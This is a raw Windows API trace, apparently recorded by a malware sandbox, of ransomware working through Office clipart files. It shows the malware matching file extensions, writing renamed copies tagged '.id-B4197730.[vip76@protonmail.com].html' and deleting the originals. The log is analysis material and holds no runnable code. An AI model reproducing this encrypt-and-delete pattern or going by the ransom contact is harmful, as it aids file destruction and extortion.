	[0074.853] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.853] lstrlenW (lpString=".bz2") returned 4
	[0074.853] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.853] lstrlenW (lpString=".7z") returned 3
	[0074.853] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0074.853] lstrlenW (lpString=".dbf") returned 4
	[0074.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0074.853] lstrlenW (lpString=".1cd") returned 4
	[0074.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0074.853] lstrlenW (lpString=".jpg") returned 4
	[0074.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.854] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0074.854] lstrlenW (lpString="BL00390_.WMF") returned 12
	[0074.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0074.855] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=13102) returned 1
	[0074.855] CloseHandle (hObject=0x328) returned 1
	[0074.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x220
	[0074.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0074.856] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.856] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.856] GetLastError () returned 0x0
	[0074.856] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x332e, lpOverlapped=0x0) returned 1
	[0074.867] WriteFile (in: hFile=0x364, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x3330, lpOverlapped=0x0) returned 1
	[0074.868] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.868] WriteFile (in: hFile=0x364, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0074.869] SetEndOfFile (hFile=0x364) returned 1
	[0074.869] CloseHandle (hObject=0x364) returned 1
	[0074.872] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.872] SetEndOfFile (hFile=0x328) returned 1
	[0074.873] CloseHandle (hObject=0x328) returned 1
	[0074.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0074.875] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 1
	[0074.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0074.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0074.876] lstrlenW (lpString=".doc") returned 4
	[0074.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.876] lstrlenW (lpString=".docx") returned 5
	[0074.876] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.876] lstrlenW (lpString=".pdf") returned 4
	[0074.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.876] lstrlenW (lpString=".xls") returned 4
	[0074.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.876] lstrlenW (lpString=".xlsx") returned 5
	[0074.877] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.877] lstrlenW (lpString=".ppt") returned 4
	[0074.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0074.877] lstrlenW (lpString=".zip") returned 4
	[0074.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.877] lstrlenW (lpString=".rar") returned 4
	[0074.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.877] lstrlenW (lpString=".bz2") returned 4
	[0074.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.877] lstrlenW (lpString=".7z") returned 3
	[0074.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0074.877] lstrlenW (lpString=".dbf") returned 4
	[0074.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0074.877] lstrlenW (lpString=".1cd") returned 4
	[0074.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0074.877] lstrlenW (lpString=".jpg") returned 4
	[0074.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0074.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0074.877] lstrlenW (lpString=".doc") returned 4
	[0074.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.878] lstrlenW (lpString=".docx") returned 5
	[0074.878] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.878] lstrlenW (lpString=".pdf") returned 4
	[0074.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.878] lstrlenW (lpString=".xls") returned 4
	[0074.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.878] lstrlenW (lpString=".xlsx") returned 5
	[0074.878] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.878] lstrlenW (lpString=".ppt") returned 4
	[0074.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0074.878] lstrlenW (lpString=".zip") returned 4
	[0074.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.878] lstrlenW (lpString=".rar") returned 4
	[0074.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.878] lstrlenW (lpString=".bz2") returned 4
	[0074.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.878] lstrlenW (lpString=".7z") returned 3
	[0074.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0074.878] lstrlenW (lpString=".dbf") returned 4
	[0074.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0074.878] lstrlenW (lpString=".1cd") returned 4
	[0074.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68
	[0074.878] lstrlenW (lpString=".jpg") returned 4
	[0074.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.879] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0074.879] lstrlenW (lpString="BL00392_.WMF") returned 12
	[0074.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0075.240] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=27050) returned 1
	[0075.240] CloseHandle (hObject=0x334) returned 1
	[0075.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x220
	[0075.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0075.241] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.241] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0075.241] GetLastError () returned 0x0
	[0075.241] ReadFile (in: hFile=0x334, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x69aa, lpOverlapped=0x0) returned 1
	[0075.243] WriteFile (in: hFile=0x350, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x69b0, lpOverlapped=0x0) returned 1
	[0075.245] ReadFile (in: hFile=0x334, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.245] WriteFile (in: hFile=0x350, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.245] SetEndOfFile (hFile=0x350) returned 1
	[0075.245] CloseHandle (hObject=0x350) returned 1
	[0075.247] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.247] SetEndOfFile (hFile=0x334) returned 1
	[0075.248] CloseHandle (hObject=0x334) returned 1
	[0075.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 1
	[0075.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0075.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0075.248] lstrlenW (lpString=".doc") returned 4
	[0075.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.249] lstrlenW (lpString=".docx") returned 5
	[0075.249] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.249] lstrlenW (lpString=".pdf") returned 4
	[0075.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.249] lstrlenW (lpString=".xls") returned 4
	[0075.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.249] lstrlenW (lpString=".xlsx") returned 5
	[0075.249] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.249] lstrlenW (lpString=".ppt") returned 4
	[0075.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0075.249] lstrlenW (lpString=".zip") returned 4
	[0075.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.249] lstrlenW (lpString=".rar") returned 4
	[0075.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.249] lstrlenW (lpString=".bz2") returned 4
	[0075.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.249] lstrlenW (lpString=".7z") returned 3
	[0075.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0075.249] lstrlenW (lpString=".dbf") returned 4
	[0075.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0075.249] lstrlenW (lpString=".1cd") returned 4
	[0075.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0075.249] lstrlenW (lpString=".jpg") returned 4
	[0075.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0075.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0075.249] lstrlenW (lpString=".doc") returned 4
	[0075.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.250] lstrlenW (lpString=".docx") returned 5
	[0075.250] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.250] lstrlenW (lpString=".pdf") returned 4
	[0075.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.250] lstrlenW (lpString=".xls") returned 4
	[0075.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.250] lstrlenW (lpString=".xlsx") returned 5
	[0075.250] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.250] lstrlenW (lpString=".ppt") returned 4
	[0075.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0075.250] lstrlenW (lpString=".zip") returned 4
	[0075.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.250] lstrlenW (lpString=".rar") returned 4
	[0075.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.250] lstrlenW (lpString=".bz2") returned 4
	[0075.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.250] lstrlenW (lpString=".7z") returned 3
	[0075.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0075.250] lstrlenW (lpString=".dbf") returned 4
	[0075.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0075.250] lstrlenW (lpString=".1cd") returned 4
	[0075.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68
	[0075.250] lstrlenW (lpString=".jpg") returned 4
	[0075.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.251] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.251] lstrlenW (lpString="BL00525_.WMF") returned 12
	[0075.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0075.251] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=9590) returned 1
	[0075.251] CloseHandle (hObject=0x334) returned 1
	[0075.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x220
	[0075.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0075.251] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.251] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0075.252] GetLastError () returned 0x0
	[0075.252] ReadFile (in: hFile=0x334, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x2576, lpOverlapped=0x0) returned 1
	[0075.253] WriteFile (in: hFile=0x350, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x2580, lpOverlapped=0x0) returned 1
	[0075.254] ReadFile (in: hFile=0x334, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.255] WriteFile (in: hFile=0x350, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.255] SetEndOfFile (hFile=0x350) returned 1
	[0075.255] CloseHandle (hObject=0x350) returned 1
	[0075.256] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.256] SetEndOfFile (hFile=0x334) returned 1
	[0075.257] CloseHandle (hObject=0x334) returned 1
	[0075.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 1
	[0075.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0075.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0075.257] lstrlenW (lpString=".doc") returned 4
	[0075.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.257] lstrlenW (lpString=".docx") returned 5
	[0075.257] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.257] lstrlenW (lpString=".pdf") returned 4
	[0075.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.258] lstrlenW (lpString=".xls") returned 4
	[0075.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.258] lstrlenW (lpString=".xlsx") returned 5
	[0075.258] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.258] lstrlenW (lpString=".ppt") returned 4
	[0075.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0075.258] lstrlenW (lpString=".zip") returned 4
	[0075.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.258] lstrlenW (lpString=".rar") returned 4
	[0075.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.258] lstrlenW (lpString=".bz2") returned 4
	[0075.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.258] lstrlenW (lpString=".7z") returned 3
	[0075.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0075.258] lstrlenW (lpString=".dbf") returned 4
	[0075.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0075.258] lstrlenW (lpString=".1cd") returned 4
	[0075.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0075.258] lstrlenW (lpString=".jpg") returned 4
	[0075.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0075.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0075.258] lstrlenW (lpString=".doc") returned 4
	[0075.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.258] lstrlenW (lpString=".docx") returned 5
	[0075.258] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.259] lstrlenW (lpString=".pdf") returned 4
	[0075.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.259] lstrlenW (lpString=".xls") returned 4
	[0075.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.259] lstrlenW (lpString=".xlsx") returned 5
	[0075.259] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.259] lstrlenW (lpString=".ppt") returned 4
	[0075.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68
	[0075.259] lstrlenW (lpString=".zip") returned 4
	[0075.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.259] lstrlenW (lpString=".rar") returned 4
	[0075.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.259] lstrlenW (lpString=".bz2") returned 4
